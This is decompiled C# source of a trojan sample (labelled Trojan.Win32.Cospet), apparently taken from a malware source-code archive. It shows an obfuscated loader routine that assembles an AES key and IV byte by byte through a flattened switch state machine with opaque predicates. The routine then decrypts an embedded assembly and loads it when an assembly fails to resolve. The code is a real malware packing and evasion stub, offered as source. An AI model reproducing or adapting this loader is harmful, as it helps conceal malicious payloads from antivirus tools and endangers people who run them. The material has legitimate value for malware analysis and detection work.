MalwareSourceCode/MSIL/Trojan/Win32/C/Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807/dIB5tm1fm4ourlbe9N/YbbxknoBYLxEOxk0Pn.cs
2022-08-18 06:28:56 -05:00

2763 lines
77 KiB
C#

// Decompiled with JetBrains decompiler
// Type: dIB5tm1fm4ourlbe9N.YbbxknoBYLxEOxk0Pn
// Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7876418B-9B45-4205-B20B-41AA64972C85
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe
using lIMo5cXu7QVSJ7hdyJ;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using TmwCXiWu118CwLLcBx;
namespace dIB5tm1fm4ourlbe9N
{
internal class YbbxknoBYLxEOxk0Pn
{
private static string[] reWBsatke = new string[0];
private static Assembly \u0039ML9lo6tT = (Assembly) null;
private static bool fTu8VEKSg = false;
[MethodImpl(MethodImplOptions.NoInlining)]
static Assembly Uj1VGPQhn([In] object obj0, [In] ResolveEventArgs obj1)
{
int num1 = 121;
if (true)
goto label_22;
label_1:
byte[] numArray1;
numArray1[3] = (byte) (135 - 45);
int num2 = 246;
goto label_23;
label_22:
num2 = num1;
label_23:
int num3;
byte[] numArray2;
int num4;
string str;
CryptoStream cryptoStream;
MemoryStream memoryStream;
ICryptoTransform transform;
byte[] numArray3;
RijndaelManaged rijndaelManaged;
byte[] numArray4;
while (true)
{
switch (num2)
{
case 0:
numArray2 = new byte[16];
num2 = 232;
continue;
case 1:
goto label_258;
case 2:
numArray1[15] = (byte) num3;
num2 = 97;
continue;
case 3:
goto label_171;
case 4:
goto label_44;
case 5:
goto label_169;
case 6:
goto label_235;
case 7:
numArray1[15] = (byte) num3;
num2 = 146;
continue;
case 8:
numArray1[5] = (byte) (164 - 54);
num2 = 43;
continue;
case 9:
goto label_94;
case 10:
goto label_113;
case 11:
goto label_100;
case 12:
num4 = 210 - 70;
num2 = 236;
continue;
case 13:
numArray1[28] = (byte) num3;
num1 = 51;
if (true)
goto label_22;
else
goto case 344;
case 14:
goto label_47;
case 15:
num4 = 189 + 63;
num2 = 198;
continue;
case 16:
numArray1[2] = (byte) (73 + 112);
num2 = 305;
continue;
case 17:
goto label_277;
case 18:
goto label_266;
case 19:
goto label_56;
case 20:
goto label_336;
case 21:
num3 = 78 + 63;
num2 = 13;
continue;
case 22:
goto label_99;
case 23:
numArray2[7] = (byte) num4;
num2 = 261;
continue;
case 24:
goto label_143;
case 25:
numArray1[11] = (byte) (186 - 62);
num2 = 171;
continue;
case 26:
goto label_27;
case 27:
goto label_115;
case 28:
goto label_89;
case 29:
numArray1[23] = (byte) (198 - 66);
num2 = 125;
continue;
case 30:
goto label_297;
case 31:
numArray1[8] = (byte) num3;
num1 = 324;
if (true)
goto label_22;
else
goto case 151;
case 32:
goto label_268;
case 33:
num3 = 245 - 81;
num2 = 233;
continue;
case 34:
numArray1[22] = (byte) (39 + 65);
num2 = 155;
continue;
case 35:
goto label_284;
case 36:
numArray2[11] = (byte) num4;
num2 = 317;
continue;
case 37:
num4 = 159 - 53;
num1 = 182;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto case 237;
else
goto label_22;
case 38:
numArray1[14] = (byte) (155 - 51);
num2 = 27;
continue;
case 39:
goto label_220;
case 40:
goto label_111;
case 41:
goto label_347;
case 42:
goto label_14;
case 43:
numArray1[5] = (byte) (142 + 35);
num2 = 64;
continue;
case 44:
num3 = 175 - 58;
num2 = 189;
continue;
case 45:
numArray1[31] = (byte) num3;
num2 = 48;
continue;
case 46:
numArray1[4] = (byte) num3;
num2 = 91;
continue;
case 47:
numArray2[13] = (byte) num4;
num1 = 312;
if (true)
goto label_22;
else
goto case 178;
case 48:
numArray1[31] = (byte) (30 + 58);
num2 = 192;
continue;
case 49:
transform = (ICryptoTransform) YbbxknoBYLxEOxk0Pn.LKX4l47Yoj2lWp0hqh((object) rijndaelManaged, (object) numArray4, (object) numArray3);
num2 = 133;
continue;
case 50:
numArray1[22] = (byte) (90 + 26);
num2 = 346;
continue;
case 51:
goto label_340;
case 52:
goto label_348;
case 53:
numArray2[6] = (byte) num4;
num1 = 165;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case 69;
case 54:
goto label_52;
case 55:
str = (string) YbbxknoBYLxEOxk0Pn.WS6tAn0RW8Hurp1Xwj((object) obj1);
num1 = 60;
if (true)
goto label_22;
else
goto case 130;
case 56:
num3 = 157 + 60;
num2 = 28;
continue;
case 57:
num3 = 24 + 38;
num2 = 178;
continue;
case 58:
goto label_185;
case 59:
numArray2[13] = (byte) (184 - 61);
num1 = 83;
if (true)
goto label_22;
else
goto case 53;
case 60:
goto label_11;
case 61:
goto label_225;
case 62:
goto label_133;
case 63:
numArray2[15] = (byte) (252 - 84);
num2 = 1;
continue;
case 64:
numArray1[6] = (byte) (204 - 68);
num2 = (int) byte.MaxValue;
continue;
case 65:
goto label_2;
case 66:
numArray1[27] = (byte) (48 + 79);
num1 = 210;
if (true)
goto label_22;
else
goto case 194;
case 67:
case 115:
goto label_34;
case 68:
goto label_58;
case 69:
numArray1[6] = (byte) (136 - 45);
num2 = 256;
continue;
case 70:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num1 = 309;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
else
goto case 118;
case 71:
num3 = 199 - 66;
num1 = 31;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
else
goto case 102;
case 72:
numArray1[26] = (byte) num3;
num2 = 148;
continue;
case 73:
goto label_123;
case 74:
numArray1[26] = (byte) num3;
num1 = 339;
if (true)
goto label_22;
else
goto case 2;
case 75:
numArray1[0] = (byte) (137 - 66);
num1 = 269;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto case 82;
else
goto label_22;
case 76:
numArray1[28] = (byte) num3;
num1 = 58;
if (true)
goto label_22;
else
goto case 57;
case 77:
goto label_192;
case 78:
goto label_83;
case 79:
num4 = 162 - 54;
num1 = 53;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
else
goto case 280;
case 80:
case 273:
numArray2[7] = (byte) (67 + 112);
num1 = 288;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
else
goto case 25;
case 81:
goto label_259;
case 82:
numArray2[2] = (byte) num4;
num2 = 12;
continue;
case 83:
goto label_90;
case 84:
goto label_236;
case 85:
goto label_132;
case 86:
goto label_31;
case 87:
goto label_121;
case 88:
num3 = 55 - 19;
num2 = 276;
continue;
case 89:
goto label_289;
case 90:
goto label_174;
case 91:
goto label_15;
case 92:
goto label_72;
case 93:
goto label_166;
case 94:
num3 = 206 - 68;
num2 = 4;
continue;
case 95:
goto label_96;
case 96:
num4 = 14 + 96;
num1 = 204;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto case 344;
else
goto label_22;
case 97:
numArray1[15] = (byte) (41 + 59);
num2 = 243;
continue;
case 98:
goto label_39;
case 99:
goto label_208;
case 100:
goto label_324;
case 101:
numArray2[6] = (byte) num4;
num2 = 262;
continue;
case 102:
numArray1[29] = (byte) num3;
num2 = 257;
continue;
case 103:
goto label_164;
case 104:
goto label_263;
case 105:
goto label_28;
case 106:
goto label_198;
case 107:
goto label_346;
case 108:
goto label_351;
case 109:
goto label_175;
case 110:
goto label_343;
case 111:
goto label_273;
case 112:
goto label_101;
case 113:
goto label_338;
case 114:
goto label_295;
case 116:
goto label_75;
case 117:
goto label_269;
case 118:
numArray1[3] = (byte) (97 - 81);
num2 = 93;
continue;
case 119:
goto label_344;
case 120:
numArray1[1] = (byte) num3;
num2 = 318;
continue;
case 121:
if ((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT != null)
goto case 55;
else
goto label_342;
case 122:
numArray1[30] = (byte) (153 - 51);
num1 = 343;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case (int) sbyte.MaxValue;
case 123:
goto label_1;
case 124:
goto label_302;
case 125:
goto label_98;
case 126:
numArray2[11] = (byte) (55 + 42);
num1 = 201;
if (true)
goto label_22;
else
goto case 165;
case (int) sbyte.MaxValue:
num4 = 193 - 64;
num1 = 290;
if (true)
goto label_22;
else
goto case 249;
case 128:
case 207:
goto label_207;
case 129:
goto label_195;
case 130:
numArray1[21] = (byte) num3;
num2 = 264;
continue;
case 131:
numArray1[18] = (byte) num3;
num2 = 332;
continue;
case 132:
numArray1[11] = (byte) num3;
num1 = 229;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case 286;
case 133:
memoryStream = new MemoryStream();
num1 = 70;
if (true)
goto label_22;
else
goto case 29;
case 134:
num4 = 91 + 43;
num1 = 304;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
else
goto case 97;
case 135:
goto label_260;
case 136:
goto label_125;
case 137:
num3 = 165 - 55;
num2 = 195;
continue;
case 138:
goto label_352;
case 139:
num4 = 106 - 16;
num2 = 5;
continue;
case 140:
goto label_251;
case 141:
goto label_294;
case 142:
goto label_17;
case 143:
goto label_59;
case 144:
goto label_97;
case 145:
goto label_37;
case 146:
goto label_141;
case 147:
goto label_240;
case 148:
numArray1[26] = (byte) (10 + 58);
num2 = 144;
continue;
case 149:
goto label_323;
case 150:
numArray1[24] = (byte) num3;
num1 = 44;
if (true)
goto label_22;
else
goto case 12;
case 151:
num4 = 155 - 51;
num2 = 281;
continue;
case 152:
goto label_122;
case 153:
goto label_5;
case 154:
goto label_257;
case 155:
goto label_161;
case 156:
goto label_357;
case 157:
goto label_271;
case 158:
goto label_7;
case 159:
goto label_180;
case 160:
goto label_156;
case 161:
goto label_206;
case 162:
goto label_354;
case 163:
numArray3 = numArray2;
num2 = 156;
continue;
case 164:
goto label_106;
case 165:
num4 = 174 - 58;
num2 = 101;
continue;
case 166:
goto label_243;
case 167:
goto label_172;
case 168:
goto label_129;
case 169:
goto label_149;
case 170:
goto label_112;
case 171:
num3 = 129 - 43;
num1 = 132;
if (true)
goto label_22;
else
goto case 334;
case 172:
numArray1[5] = (byte) (203 - 67);
num1 = 138;
if (true)
goto label_22;
else
goto case 74;
case 173:
goto label_306;
case 174:
goto label_199;
case 175:
goto label_272;
case 176:
goto label_92;
case 177:
goto label_329;
case 178:
numArray1[29] = (byte) num3;
num1 = 302;
if (true)
goto label_22;
else
goto case 297;
case 179:
goto label_173;
case 180:
num4 = 118 + 61;
num2 = 52;
continue;
case 181:
goto label_276;
case 182:
goto label_131;
case 183:
goto label_262;
case 184:
goto label_245;
case 185:
goto label_65;
case 186:
goto label_138;
case 187:
goto label_85;
case 188:
numArray1[2] = (byte) (54 + 85);
num2 = 19;
continue;
case 189:
goto label_66;
case 190:
numArray2[9] = (byte) num4;
num2 = 184;
continue;
case 191:
numArray1[12] = (byte) (18 + 112);
num1 = 187;
if (true)
goto label_22;
else
goto case 328;
case 192:
goto label_3;
case 193:
goto label_63;
case 194:
num3 = 128 - 42;
num2 = 112;
continue;
case 195:
numArray1[16] = (byte) num3;
num2 = 325;
continue;
case 196:
goto label_286;
case 197:
goto label_211;
case 198:
goto label_78;
case 199:
num4 = 244 - 81;
num1 = 114;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case 242;
case 200:
goto label_305;
case 201:
goto label_139;
case 202:
goto label_10;
case 203:
goto label_183;
case 204:
goto label_322;
case 205:
num4 = 80 + 38;
num2 = 153;
continue;
case 206:
goto label_128;
case 208:
numArray2[15] = (byte) (165 - 55);
num2 = 63;
continue;
case 209:
goto label_16;
case 210:
numArray1[27] = (byte) (97 + 80);
num2 = 212;
continue;
case 211:
YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) cryptoStream);
num1 = 40;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto case 343;
else
goto label_22;
case 212:
goto label_114;
case 213:
goto label_231;
case 214:
goto label_109;
case 215:
numArray1 = new byte[32];
num2 = 11;
continue;
case 216:
goto label_221;
case 217:
goto label_237;
case 218:
goto label_224;
case 219:
goto label_87;
case 220:
numArray1[22] = (byte) (65 + 62);
num2 = 34;
continue;
case 221:
goto label_12;
case 222:
goto label_86;
case 223:
goto label_353;
case 224:
goto label_222;
case 225:
goto label_227;
case 226:
num4 = 72 - 28;
num2 = 335;
continue;
case 227:
goto label_275;
case 228:
goto label_304;
case 229:
goto label_71;
case 230:
goto label_292;
case 231:
goto label_147;
case 232:
goto label_95;
case 233:
goto label_142;
case 234:
num3 = 154 - 51;
num2 = 39;
continue;
case 235:
numArray1[24] = (byte) (104 - 44);
num2 = 186;
continue;
case 236:
goto label_26;
case 237:
numArray1[25] = (byte) (197 + 26);
goto case 341;
case 238:
goto label_117;
case 239:
numArray2[12] = (byte) (115 + 19);
num1 = 289;
if (true)
goto label_22;
else
goto case 341;
case 240:
goto label_197;
case 241:
goto label_265;
case 242:
num4 = 162 - 110;
num2 = 296;
continue;
case 243:
goto label_337;
case 244:
goto label_303;
case 245:
goto label_30;
case 246:
goto label_130;
case 247:
goto label_29;
case 248:
goto label_196;
case 249:
numArray1[20] = (byte) (7 + 2);
num2 = 164;
continue;
case 250:
goto label_84;
case 251:
goto label_241;
case 252:
goto label_320;
case 253:
numArray1[7] = (byte) (213 + 16);
num2 = 71;
continue;
case 254:
numArray1[19] = (byte) (3 + 78);
YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6();
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
{
num2 = 207;
continue;
}
goto label_191;
case (int) byte.MaxValue:
goto label_36;
case 256:
goto label_13;
case 257:
goto label_163;
case 258:
goto label_50;
case 259:
goto label_301;
case 260:
goto label_57;
case 261:
numArray2[7] = (byte) (71 + 43);
goto case 80;
case 262:
goto label_244;
case 263:
goto label_249;
case 264:
num3 = 97 + 102;
num2 = 129;
continue;
case 265:
goto label_9;
case 266:
goto label_315;
case 267:
num3 = 5 + 83;
num1 = 130;
if (true)
goto label_22;
else
goto case 33;
case 268:
goto label_333;
case 269:
numArray1[1] = (byte) (27 + 85);
num1 = 214;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case 302;
case 270:
numArray2[1] = (byte) num4;
num2 = 298;
continue;
case 271:
goto label_288;
case 272:
numArray2[14] = (byte) num4;
num2 = 61;
continue;
case 274:
goto label_267;
case 275:
goto label_70;
case 276:
goto label_270;
case 277:
goto label_124;
case 278:
goto label_291;
case 279:
numArray1[5] = (byte) num3;
num2 = 172;
continue;
case 280:
numArray2[7] = (byte) (62 - 37);
num2 = 179;
continue;
case 281:
goto label_226;
case 282:
goto label_204;
case 283:
goto label_255;
case 284:
goto label_62;
case 285:
goto label_176;
case 286:
numArray1[30] = (byte) num3;
num2 = 122;
continue;
case 287:
numArray1[23] = (byte) num3;
num2 = 29;
continue;
case 288:
goto label_349;
case 289:
goto label_184;
case 290:
goto label_127;
case 291:
goto label_165;
case 292:
goto label_283;
case 293:
numArray2[5] = (byte) (179 - 59);
num2 = 109;
continue;
case 294:
num4 = 69 + 71;
num2 = 157;
continue;
case 295:
numArray1[4] = (byte) num3;
num2 = 301;
continue;
case 296:
numArray2[15] = (byte) num4;
num2 = 163;
continue;
case 297:
numArray2[0] = (byte) (207 - 69);
num2 = 321;
continue;
case 298:
goto label_77;
case 299:
goto label_61;
case 300:
goto label_254;
case 301:
num3 = 181 + 58;
num2 = 3;
continue;
case 302:
numArray1[29] = (byte) (178 - 111);
num1 = 78;
if (true)
goto label_22;
else
goto case 44;
case 303:
goto label_6;
case 304:
goto label_32;
case 305:
goto label_74;
case 306:
goto label_110;
case 307:
goto label_308;
case 308:
numArray1[19] = (byte) (214 - 118);
num2 = 98;
continue;
case 309:
goto label_250;
case 310:
goto label_311;
case 311:
goto label_144;
case 312:
goto label_335;
case 313:
goto label_46;
case 314:
goto label_230;
case 315:
goto label_200;
case 316:
goto label_170;
case 317:
num4 = 176 + 18;
num2 = 100;
continue;
case 318:
goto label_345;
case 319:
goto label_88;
case 320:
goto label_219;
case 321:
goto label_53;
case 322:
numArray1[20] = (byte) (49 + 114);
num1 = 99;
if (true)
goto label_22;
else
goto case 122;
case 323:
numArray1[5] = (byte) num3;
num2 = 8;
continue;
case 324:
goto label_325;
case 325:
num3 = 252 - 84;
num2 = 87;
continue;
case 326:
goto label_102;
case 327:
goto label_167;
case 328:
num4 = 84 + 101;
num2 = 42;
continue;
case 329:
goto label_350;
case 330:
goto label_203;
case 331:
numArray1[1] = (byte) (41 + 3);
num2 = 26;
continue;
case 332:
goto label_328;
case 333:
goto label_148;
case 334:
num3 = 229 - 76;
num2 = 336;
continue;
case 335:
goto label_278;
case 336:
goto label_140;
case 337:
goto label_261;
case 338:
numArray1[19] = (byte) (194 - 64);
num2 = 308;
continue;
case 339:
goto label_107;
case 340:
num4 = 41 + 61;
num2 = 227;
continue;
case 341:
num3 = 246 - 82;
num2 = 74;
continue;
case 342:
numArray1[16] = (byte) num3;
num1 = 209;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
else
goto case 317;
case 343:
numArray1[30] = (byte) (113 - 59);
num2 = 310;
continue;
case 344:
num3 = 168 + 83;
num2 = 76;
continue;
case 345:
goto label_242;
case 346:
num3 = 147 + 92;
num2 = 251;
continue;
case 347:
goto label_137;
case 348:
goto label_355;
default:
goto label_24;
}
}
label_2:
numArray1[21] = (byte) num3;
num1 = 105;
if (true)
goto label_22;
label_3:
num3 = 211 - 70;
int num5 = 160;
goto label_21;
label_5:
numArray2[5] = (byte) num4;
num1 = 124;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_6:
num3 = 244 - 81;
num5 = 131;
goto label_21;
label_7:
numArray1[12] = (byte) (72 + 28);
num5 = 191;
goto label_21;
label_9:
numArray1[24] = (byte) num3;
num1 = 235;
if (true)
goto label_22;
label_10:
numArray2[6] = (byte) num4;
num1 = 79;
goto label_22;
label_11:
int index = 0;
num5 = 115;
goto label_21;
label_12:
numArray2[10] = (byte) (59 + 83);
num1 = 110;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_305;
else
goto label_22;
label_13:
numArray1[6] = (byte) (199 - 116);
num5 = 196;
goto label_21;
label_14:
numArray2[1] = (byte) num4;
num1 = 149;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_15:
numArray1[4] = (byte) (88 + 13);
num1 = 108;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_137;
else
goto label_22;
label_16:
num3 = 198 - 96;
num1 = 329;
goto label_22;
label_17:
num3 = 16 + 74;
num5 = 274;
label_21:
num1 = num5;
goto label_22;
label_24:
num5 = 341;
goto label_21;
label_26:
numArray2[2] = (byte) num4;
num1 = 181;
goto label_22;
label_27:
num3 = 146 - 48;
num5 = 120;
goto label_21;
label_28:
num3 = 214 - 71;
num1 = 174;
goto label_22;
label_29:
num3 = 245 - 81;
num1 = 345;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_30:
numArray2[0] = (byte) num4;
num5 = 297;
goto label_21;
label_31:
numArray1[23] = (byte) (97 + 116);
num1 = 271;
goto label_22;
label_32:
numArray2[14] = (byte) num4;
num1 = 217;
goto label_22;
label_34:
if (index >= YbbxknoBYLxEOxk0Pn.reWBsatke.Length)
{
num5 = 348;
goto label_21;
}
else if (YbbxknoBYLxEOxk0Pn.tRIQC2fXT7g74mWlkL((object) YbbxknoBYLxEOxk0Pn.reWBsatke[index], (object) str))
{
num5 = 327;
goto label_21;
}
else
{
++index;
num1 = 67;
if (true)
goto label_22;
else
goto label_169;
}
label_36:
num3 = 52 + 91;
num1 = 306;
goto label_22;
label_37:
numArray1[9] = (byte) num3;
num1 = 277;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_174;
else
goto label_22;
label_39:
numArray1[20] = (byte) (232 - 77);
num1 = 94;
goto label_22;
label_44:
numArray1[20] = (byte) num3;
num5 = 162;
goto label_21;
label_46:
num3 = 239 - 79;
num1 = 32;
if (true)
goto label_22;
label_47:
num3 = 142 - 47;
num1 = 279;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_329;
else
goto label_22;
label_50:
byte[] numArray5 = new byte[0];
num1 = 320;
goto label_22;
label_52:
num4 = 10 + 116;
num1 = 202;
goto label_22;
label_53:
num4 = 22 + 39;
num5 = 10;
goto label_21;
label_56:
numArray1[2] = (byte) (82 + 32);
num1 = 16;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_57:
numArray2[3] = (byte) num4;
num5 = 285;
goto label_21;
label_58:
num3 = 204 - 68;
num5 = 265;
goto label_21;
label_59:
num3 = 184 - 61;
num1 = 161;
goto label_22;
label_61:
YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT = (Assembly) YbbxknoBYLxEOxk0Pn.ms7UFSxhLDM3n3ktTf(YbbxknoBYLxEOxk0Pn.qiaGIPMaalUqZ3sMZf((object) numArray5));
num1 = 9;
if (true)
goto label_22;
label_62:
numArray1[12] = (byte) (31 + 55);
num1 = 158;
if (true)
goto label_22;
label_63:
numArray2[10] = (byte) num4;
num1 = 136;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_235;
else
goto label_22;
label_65:
num3 = 170 - 56;
num5 = 2;
goto label_21;
label_66:
numArray1[24] = (byte) num3;
num1 = 168;
goto label_22;
label_70:
num3 = 173 - 57;
num5 = 65;
goto label_21;
label_71:
numArray1[11] = (byte) (97 - 52);
num5 = 284;
goto label_21;
label_72:
numArray1[17] = (byte) (26 + 5);
num5 = 278;
goto label_21;
label_74:
num3 = 61 + 58;
num5 = 173;
goto label_21;
label_75:
num3 = 92 + 120;
num5 = 170;
goto label_21;
label_77:
numArray2[1] = (byte) (146 - 48);
num5 = 294;
goto label_21;
label_78:
numArray2[0] = (byte) num4;
num1 = 307;
goto label_22;
label_83:
num3 = 61 + 66;
num5 = 286;
goto label_21;
label_84:
num4 = 78 + 65;
num5 = 326;
goto label_21;
label_85:
numArray1[12] = (byte) (36 + 114);
num1 = 197;
if (true)
goto label_22;
label_86:
numArray1[13] = (byte) num3;
num1 = 88;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_354;
else
goto label_22;
label_87:
numArray1[19] = (byte) num3;
num5 = 338;
goto label_21;
label_88:
numArray1[19] = (byte) num3;
num5 = 89;
goto label_21;
label_89:
numArray1[8] = (byte) num3;
num5 = 259;
goto label_21;
label_90:
numArray2[13] = (byte) (58 + 29);
num1 = 95;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_63;
else
goto label_22;
label_92:
numArray1[9] = (byte) (131 - 80);
num5 = 313;
goto label_21;
label_94:
YbbxknoBYLxEOxk0Pn.reWBsatke = (string[]) YbbxknoBYLxEOxk0Pn.e8PiFxteCyHSGi0LgY((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT);
num5 = 55;
goto label_21;
label_95:
num4 = 128 - 42;
num5 = 245;
goto label_21;
label_96:
num4 = 54 + 75;
num1 = 47;
if (true)
goto label_22;
label_97:
numArray1[26] = (byte) (250 - 83);
num5 = 263;
goto label_21;
label_98:
numArray1[23] = (byte) (165 + 75);
num1 = 141;
if (true)
goto label_22;
label_99:
numArray1[15] = (byte) (114 + 113);
num1 = 185;
goto label_22;
label_100:
num3 = 2 + 70;
num1 = 77;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_101:
numArray1[16] = (byte) num3;
num1 = 137;
if (true)
goto label_22;
label_102:
numArray2[4] = (byte) num4;
num1 = (int) sbyte.MaxValue;
goto label_22;
label_106:
numArray1[20] = (byte) (121 + 95);
num5 = 322;
goto label_21;
label_107:
num3 = 5 + 120;
num5 = 72;
goto label_21;
label_109:
num3 = 29 + 23;
num5 = 252;
goto label_21;
label_110:
numArray1[6] = (byte) num3;
num1 = 300;
if (true)
goto label_22;
label_111:
BinaryReader binaryReader;
YbbxknoBYLxEOxk0Pn.EdMogJK23C5V2STpQS((object) binaryReader);
num1 = 299;
goto label_22;
label_112:
numArray1[10] = (byte) num3;
num1 = 111;
if (true)
goto label_22;
label_113:
numArray2[0] = (byte) num4;
num1 = 15;
goto label_22;
label_114:
numArray1[27] = (byte) (34 - 11);
num1 = 21;
goto label_22;
label_115:
numArray1[14] = (byte) (54 + 75);
num5 = 135;
goto label_21;
label_117:
numArray1[9] = (byte) num3;
num1 = 104;
goto label_22;
label_121:
numArray1[16] = (byte) num3;
num5 = 175;
goto label_21;
label_122:
numArray1[17] = (byte) (240 - 80);
num1 = 92;
if (true)
goto label_22;
label_123:
numArray2[15] = (byte) num4;
num5 = 208;
goto label_21;
label_124:
num3 = 247 - 82;
num5 = 238;
goto label_21;
label_125:
numArray2[10] = (byte) (110 + 122);
num5 = 126;
goto label_21;
label_127:
numArray2[4] = (byte) num4;
num1 = 81;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_128:
num4 = 10 + 30;
num5 = 260;
goto label_21;
label_129:
numArray1[24] = (byte) (58 + 64);
num5 = 68;
goto label_21;
label_130:
numArray1[3] = (byte) (6 + 25);
num1 = 142;
if (true)
goto label_22;
label_131:
numArray2[4] = (byte) num4;
num5 = 250;
goto label_21;
label_132:
numArray1[10] = (byte) num3;
num5 = 183;
goto label_21;
label_133:
numArray2[10] = (byte) (97 + 92);
num5 = 221;
goto label_21;
label_137:
numArray2[15] = (byte) num4;
num1 = 96;
goto label_22;
label_138:
num3 = 23 + 68;
num5 = 159;
goto label_21;
label_139:
num4 = 154 - 51;
num1 = 36;
goto label_22;
label_140:
numArray1[7] = (byte) num3;
num5 = 253;
goto label_21;
label_141:
num3 = 147 - 49;
num1 = 166;
goto label_22;
label_142:
numArray1[8] = (byte) num3;
num5 = 56;
goto label_21;
label_143:
num4 = 108 + 114;
num5 = 216;
goto label_21;
label_144:
num4 = 240 - 80;
num5 = 316;
goto label_21;
label_147:
numArray1[29] = (byte) (170 - 56);
num1 = 57;
goto label_22;
label_148:
numArray1[25] = (byte) (144 - 48);
num1 = 237;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_260;
else
goto label_22;
label_149:
num4 = 74 + 5;
num1 = 190;
goto label_22;
label_156:
numArray1[31] = (byte) num3;
num1 = 234;
goto label_22;
label_161:
numArray1[22] = (byte) (111 + 112);
num1 = 50;
goto label_22;
label_163:
num3 = 207 - 69;
num5 = 314;
goto label_21;
label_164:
num3 = 98 + 60;
num1 = 102;
goto label_22;
label_165:
numArray2[12] = (byte) num4;
num1 = 59;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_121;
else
goto label_22;
label_166:
num3 = 179 - 59;
num1 = 46;
if (true)
goto label_22;
label_167:
return YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT;
label_169:
numArray2[3] = (byte) num4;
num1 = 200;
if (true)
goto label_22;
label_170:
numArray2[8] = (byte) num4;
num1 = 41;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_271;
else
goto label_22;
label_171:
numArray1[4] = (byte) num3;
num5 = 14;
goto label_21;
label_172:
num4 = 117 + 2;
num1 = 73;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_173:
num4 = 43 + 117;
num1 = 283;
if (true)
goto label_22;
label_174:
YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) memoryStream);
num5 = 211;
goto label_21;
label_175:
numArray2[5] = (byte) (215 - 71);
num1 = 226;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_124;
else
goto label_22;
label_176:
numArray2[3] = (byte) (151 - 50);
num5 = 139;
goto label_21;
label_180:
numArray1[25] = (byte) num3;
num1 = 333;
goto label_22;
label_183:
numArray2[2] = (byte) (248 - 82);
num1 = 24;
goto label_22;
label_184:
num4 = 83 + 71;
num1 = 291;
if (true)
goto label_22;
label_185:
numArray1[29] = (byte) (59 + 70);
num5 = 103;
goto label_21;
label_191:
num5 = 80;
goto label_21;
label_192:
numArray1[0] = (byte) num3;
num1 = 247;
goto label_22;
label_195:
numArray1[21] = (byte) num3;
num1 = 220;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_174;
else
goto label_22;
label_196:
numArray2[9] = (byte) (92 + 120);
num1 = 169;
goto label_22;
label_197:
numArray2[12] = (byte) (33 + 73);
num5 = 239;
